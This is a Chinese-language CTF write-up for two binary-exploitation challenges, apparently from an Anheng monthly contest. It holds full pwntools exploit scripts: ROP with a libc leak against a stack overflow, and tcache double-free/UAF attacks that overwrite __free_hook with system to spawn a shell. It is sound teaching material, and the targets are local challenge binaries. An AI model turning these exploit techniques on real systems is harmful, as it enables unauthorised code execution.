安恒的月赛,pwn题似乎看起来还是基础,无奈还是太菜,get不到做题的点只能赛后复现一下这样子
If you don’t go into the water, you can’t swim in your life
文中所用到的程序文件:bin file
echo_server 输入在栈上,且输入长度可控,明显的栈溢出。
没用canary保护,直接构造ROP链,但是在通过printf函数泄露libc时函数执行过程中会出现段错误。不过可以直接让程序跳转到main函数中的printf函数处,人为的在设置rdi的值进而泄露libc。
这里选用 0x000000000040071F 处的call printf,即提示我们输入name size对应的printf,之后输入对应大小的size,构造ROP链完成攻击。
注意: 因为我们让程序跳回到main函数中执行,所以栈帧并未销毁,再使用原来的栈帧时会出现段错误,所以这里需要在泄露libc的同时做栈迁移,为后续的ROP链做准备
此外,因为原题目给了 libc.so.6
, 所以这里也可以直接使用 one_gadget 获取shell
exploit 泄露read地址 1 2 3 4 5 6 7 payload = 'A' *0x80 payload += flat([bss, pop_rdi, elf.got['read' ], 0x4006F3 ]) p.send(payload) p.recvuntil('A' *0x80 ) read_addr = u64(p.recv()[3 :].ljust(8 ,'\x00' )) log.success('read_addr = %#x' ,read_addr)
通过LibcSearcher计算得到system、/bin/sh地址,并构造rop链获得shell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 libc = LibcSearcher('read' ,read_addr) libc_base = read_addr - libc.dump('read' ) system_addr = libc_base + libc.dump('system' ) binsh = libc_base + libc.dump('str_bin_sh' ) log.info("system_addr = %#x, binsh = %#x" %(system_addr,binsh)) p.sendline(str(0x100 )) p.recvuntil('?' ) payload = 'A' *(0x80 +8 ) payload += flat([ret, pop_rdi, binsh, system_addr,0xabcd ]) p.send(payload) sleep(0.1 ) p.interactive()
通过给定的libc计算one_gadget地址获取shell(当然也可以计算system、/bin/sh) 1 2 3 4 5 6 7 8 9 libc_base = read_addr - libc.sym['read' ] one_gadgets = libc_base + one_gadget log.success("one_gadget = %#x" ,one_gadgets) p.sendline(str(0x100 )) payload = 'A' *(0x80 +8 ) payload += flat([ret,one_gadgets]) p.send(payload) sleep(0.1 ) p.interactive()
完整脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import *from LibcSearcher import *context.arch = 'amd64' p = process('./test' ) elf = ELF('./test' ,checksec=False ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ,checksec=False ) p.recvuntil(':' ) p.sendline(str(0x100 )) p.recvuntil('?' ) bss = 0x601068 + 0x800 pop_rdi = 0x400823 ret = 0x40055e one_gadget = 0x4526a payload = 'A' *0x80 payload += flat([bss, pop_rdi, elf.got['read' ], 0x4006F3 ]) p.send(payload) p.recvuntil('A' *0x80 ) read_addr = u64(p.recv()[3 :].ljust(8 ,'\x00' )) log.success('read_addr = %#x' ,read_addr) def way1 () : libc = LibcSearcher('read' ,read_addr) libc_base = read_addr - libc.dump('read' ) system_addr = libc_base + libc.dump('system' ) binsh = libc_base + libc.dump('str_bin_sh' ) log.info("system_addr = %#x, binsh = %#x" %(system_addr,binsh)) p.sendline(str(0x100 )) p.recvuntil('?' ) payload = 'A' *(0x80 +8 ) payload += flat([ret, pop_rdi, binsh, system_addr,0xabcd ]) p.send(payload) sleep(0.1 ) p.interactive() def way2 () : libc_base = read_addr - libc.sym['read' ] one_gadgets = libc_base + one_gadget log.success("one_gadget = %#x" ,one_gadgets) p.sendline(str(0x100 )) payload = 'A' *(0x80 +8 ) payload += flat([ret,one_gadgets]) p.send(payload) sleep(0.1 ) p.interactive() way2()
sales_office 这到题目给了两个环境,即 glibc-2.27 和 glibc-2.29
功能分析 菜单类型的题目,四个功能选项,但是编辑内容的功能项并不能编辑内容,所以实际上有用的功能只有三个:
buy,申请堆块并写入指定内容,这里大小可控,但是不能大于0x60。此外,每申请一次实际上会申请两个堆块,一个大小固定为0x10,用作存贮用户实际上申请的堆块地址;另一个即用户指定大小的堆块。这里需要注意的是,写入堆块内容时是通过0x10的堆块中存储的地址操作的,并不是对malloc返回的地址,也就是说如果0x10的堆块内容被修改,那么实际上写入的内容就会写入到修改的地址所指向的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if ( num > 12 ) puts ("You have no money." ); v0 = num; area[v0] = (void **)malloc (0x10 uLL); puts ("Please input the size of your house:" ); v3 = read_int("Please input the size of your house:" ); if ( v3 > 96 ) return puts ("You can't afford it." ); if ( v3 < 0 ) return puts ("?" ); *((_DWORD *)area[num] + 2 ) = v3; v2 = area[num]; *v2 = malloc (v3); puts ("please decorate your house:" ); read (0 , *area[num], v3); puts ("Done!" ); return num++ + 1 ;
show,输出对应堆块的内容,注意这里是通过固定大小的堆块来获取用户申请的堆块的内容的
1 2 3 4 5 6 7 8 puts ("index:" );v1 = read_int("index:" ); if ( area[v1] ){ puts ("house:" ); puts ((const char *)*area[v1]); } return puts ("Done!" );
sell,删除堆块,每个index对应两个堆块,释放时指针未置零,产生悬挂指针
1 2 3 4 5 6 7 8 9 10 puts ("index:" );v1 = read_int("index:" ); if ( v1 < 0 || v1 > 12 ) exit (0 ); if ( area[v1] ){ free (*area[v1]); free (area[v1]); } return puts ("Done!" );
glibc-2.27 利用思路:
通过UAF泄露heap_base地址
通过UAF以及得到的heap_base,泄露libc
修改free_hook为system,拿到shell
泄露堆基址 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 buy(0x10 ,'A' ) buy(0x10 ,'B' ) buy(0x10 ,'C' ) buy(0x10 ,'D' ) sell(1 ) sell(0 ) sell(0 )
通过两次释放id0,使其fd指向堆上的地址,然后通过固定偏移计算出堆基址:
1 2 heap_base = uu64(show(0 )) - 0x260 leak("heap_base" ,heap_base)
之后再次申请一个大小为0x10的堆块,此时会分配到 id0的位置,但是id0的位置依旧为空闲状态
1 2 3 4 5 6 7 8 9 10 buy(0x10 ,p64(heap_base+0x2a0 ))
将id0对应的fd指针修改为指向id1的堆块对应的content(fd),然后就构成单链表:id0_pre ->id0 ->id1_pre ->id1
,此时再申请一个大小不为0x10的堆块,用作申请掉 id0_pre
1 2 3 4 5 6 7 8 9 10 11 12 buy(0x20 ,'FFFFF' )
之后再申请堆块时,我们输入的内容就位于 id1_pre,前面提到,程序打印堆块内容时是通过前一个大小为0x10的堆块实现的,所以这里再申请堆块时,写入某个函数的got表地址,就可以通过show泄露libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 buy(0x10 ,p64(elf.got['read' ])) read_addr = uu64(show(1 )) leak("read_addr" ,read_addr)
得到 read_addr 之后通过给定的libc计算free_hook、system的地址:
1 2 3 4 5 system_addr = read_addr - (libc.sym['read' ] - libc.sym['system' ]) leak("system_addr" ,system_addr) free_hook = read_addr - (libc.sym['read' ] - libc.sym['__free_hook' ]) leak("free_hook" ,free_hook)
如法炮制,通过两次释放id3,得到一个单链表id3_pre ->id3 ->id3_pre ->id3
,之后申请一个大小为0x10的堆块,将id3的内容修改为free_hook的地址,此时单链表变为id3_pre->id3
1 2 3 4 5 6 7 buy(0x10 ,p64(free_hook))
紧接着申请一个大小不为0x10的堆块,写入字符串’/bin/sh\x00’,此时单链表变为id3->0x0
,并且id的内容为free_hook的地址。如果此时再申请一个堆块,并写入system的地址,那么free_hook地址对应的位置就会被修改为system的地址,进而拿到shell
1 2 3 4 5 6 7 8 9 10 11 12 13 buy(0x10 ,p64(system_addr))
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from pwn import *context.arch='amd64' context.log_level='DEBUG' p = process('./sales_office' ) elf = ELF('./sales_office' ,checksec=False ) libc = ELF('/home/nop/libs/2.27/glibc-2.27/64/lib/libc.so.6' ,checksec=False ) s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num=4096 :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,'\0' )) uu64 = lambda data :u64(data.ljust(8 ,'\0' )) leak = lambda name,addr :log.success('{} = {:#x}' .format(name, addr)) def buy (size,content) : ru("choice:" ) s(1 ) ru("Please input the size of your house:" ) s(size) ru("please decorate your house:" ) s(content) def show (index) : ru("choice:" ) s(3 ) ru("index:" ) s(index) ru("house:" ) ru('\n' ) data = ru('\n' ) return data def sell (index) : ru("choice:" ) s(4 ) ru("index:" ) s(index) def dbg () : gdb.attach(p) pause() buy(0x10 ,'A' ) buy(0x10 ,'B' ) buy(0x10 ,'C' ) buy(0x10 ,'D' ) sell(1 ) sell(0 ) sell(0 ) heap_base = uu64(show(0 )) - 0x260 leak("heap_base" ,heap_base) buy(0x10 ,p64(heap_base+0x2a0 )) buy(0x20 ,'FFFFF' ) buy(0x10 ,p64(elf.got['read' ])) read_addr = uu64(show(1 )) leak("read_addr" ,read_addr) system_addr = read_addr - (libc.sym['read' ] - libc.sym['system' ]) leak("system_addr" ,system_addr) free_hook = read_addr - (libc.sym['read' ] - libc.sym['__free_hook' ]) leak("free_hook" ,free_hook) sell(3 ) sell(3 ) buy(0x10 ,p64(free_hook)) buy(0x20 ,'/bin/sh\x00' ) buy(0x10 ,p64(system_addr)) sell(8 ) itr()
另一种思路 大致过程如下:
tcache下的double free,然后利用UAF泄露libc
如法炮制,double free之后tcache poisoning实现任意地址写
修改free_hook拿到shell
申请两个个chunk,一个用于任意地址读,第二个用作任意地址写:
1 2 buy(0x10 ,0x10 *'a' ) buy(0x10 ,0x10 *'b' )
然后泄露libc:
1 2 3 4 5 6 7 sell(0 ) sell(0 ) buy(0x20 ,'AAAA' ) buy(0x10 , p64(ELF('./pwn' ,checksec=False ).got['read' ])) read_addr = uu64(show(0 )) leak('read_addr' ,read_addr)
两次释放:tcache: dt_0 -> id_0 -> dt_0 -> id_0
然申请一个0x20大小的堆块:tcache: dt_0 -> id_0 -> dt_0
之后申请一个0x10的堆块: tcache: dt_0
,并且此时,dt_0 为新的堆块的“索引块”,id_0则为新的堆块的“数据块”,此时我们写入了read的got表地址,当使用show(0)时,就实际上输出的是read@got指向的地址即内存地址。通过这种方式,就可以直接泄露libc了
之后利用id1完成任意地址写,过程与读类似:
1 2 3 4 5 6 7 8 sell(1 ) sell(1 ) buy(0x10 , p64(free_hook)) buy(0x20 ,'/bin/sh\x00' ) buy(0x10 , p64(system_addr))
第一次申请:tcache: dt_1 -> id_1
, 此时dt_1写入了free_hook的地址,即修改了next指针,即dt_1对应的堆块分配之后,再次分配时就会分配到free_hook
第二次申请:tcache: dt_1
,这时id_1变成了新的堆块(0x20)的“索引块”
第三次申请:得到的堆块的“索引块”就变成了id_1,而“数据块就分配到了free_hook,所以此时写入system地址实际上写到了free_hook处
之后释放堆块的操作,传入的指针指向的值是”/bin/sh\x00”,所以此时实际执行的是system("/bin/sh\x00")
,成功拿到shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *from LibcSearcher import *context(arch='amd64' ,os='linux' ,log_level='DEBUG' ) sl = lambda data :p.sendline(str(data)) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu64 = lambda data :u64(data.ljust(8 ,'\0' )) leak = lambda name,addr :log.success('{} = {:#x}' .format(name, addr)) def buy (size,content) : ru("choice:" ) s(1 ) ru("Please input the size of your house:" ) s(size) ru("please decorate your house:" ) s(content) def show (index) : ru("choice:" ) s(3 ) ru("index:" ) s(index) ru("house:" ) ru('\n' ) data = ru('\n' ) return data def sell (index) : ru("choice:" ) s(4 ) ru("index:" ) s(index) p = process('./pwn' ) libc = ELF('./libc.so.6' ,checksec=False ) buy(0x10 ,0x10 *'a' ) buy(0x10 ,0x10 *'b' ) sell(0 ) sell(0 ) buy(0x20 ,'AAAA' ) buy(0x10 , p64(ELF('./pwn' ,checksec=False ).got['read' ])) read_addr = uu64(show(0 )) leak('read_addr' ,read_addr) libc_base = read_addr - libc.sym['read' ] leak('libc_base' ,libc_base) system_addr = libc_base + libc.sym['system' ] leak('system' ,system_addr) free_hook = libc_base + libc.sym['__free_hook' ] leak('free_hook' ,free_hook) sell(1 ) sell(1 ) buy(0x10 , p64(free_hook)) buy(0x20 ,'/bin/sh\x00' ) buy(0x10 , p64(system_addr)) sell(4 ) itr()
You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.